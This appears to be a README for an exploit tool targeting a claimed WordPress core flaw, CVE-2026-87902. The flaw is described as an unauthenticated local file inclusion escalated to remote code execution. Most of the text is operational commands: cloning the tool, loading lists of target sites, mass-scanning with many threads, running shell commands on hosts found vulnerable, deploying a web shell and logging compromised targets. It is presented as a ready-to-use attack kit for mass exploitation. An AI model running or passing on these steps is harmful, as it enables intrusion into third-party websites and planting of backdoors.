CVE-2026-87902 是 WordPress 核心中的一个严重 未认证本地文件包含(LFI) 漏洞,可通过 PEAR gadget 链导致 远程代码执行(RCE)。
该漏洞位于 wp-includes/template.php:get_page_template() 中,该函数使用公开的 pagename 查询变量(从 $_POST 读取)来构造模板名称,未经过 validate_file() 校验。由于 locate_template() 仅执行 file_exists(),因此活动主题内存在真实的 page-* 目录即可实现完整的路径遍历。

# Clone repository
git clone https://github.com/HackfutSecRoot/CVE-2026-87902.git
cd CVE-2026-87902
# Install dependencies (stdlib only — no pip needed!)
python --version # Requires Python 3.8+
# 1. Create your targets file
echo "https://target.com" > targets.txt
echo "https://another-site.org" >> targets.txt
# 2. Non-destructive check (safe)
python main.py -l targets.txt --check --threads 20
# 3. Full exploit + File Manager
python main.py -l targets.txt --rce --shell --threads 10
| 模式 | 命令 | 描述 |
|---|---|---|
| 🔍 检查 | python main.py -l targets.txt --check |
非破坏性 LFI 检测 |
| 💥 LFI | python main.py -l targets.txt |
使用 OPML oracle 确认 LFI |
| ⚡ RCE | python main.py -l targets.txt --rce --command "id" |
通过 PEAR 执行命令 |
| 📁 Shell | python main.py -l targets.txt --rce --shell |
部署文件管理器 |
python main.py --help
-u, --url URL Single target URL
-l, --list FILE File with targets (one per line)
--check Non-destructive check only
--rce Enable RCE escalation
--shell Deploy File Manager shell
--command CMD Command to run (default: id)
--page-id N Force specific page ID
--threads N Concurrent threads (default: 20)
--timeout S Per-request timeout (default: 12)
--proxy URL HTTP(S) proxy
--output FILE Full log output
--output-vuln FILE Vulnerable targets only
--output-rce FILE RCE targets only
--no-color Disable ANSI colors
# Single target with RCE + File Manager
python main.py -u https://target.com --rce --shell --command "whoami"
# Mass scan with proxy (Burp Suite)
python main.py -l targets.txt --rce --proxy http://127.0.0.1:8080 --threads 5
# Custom page ID if discovery fails
python main.py -u https://target.com --page-id 2 --rce --shell
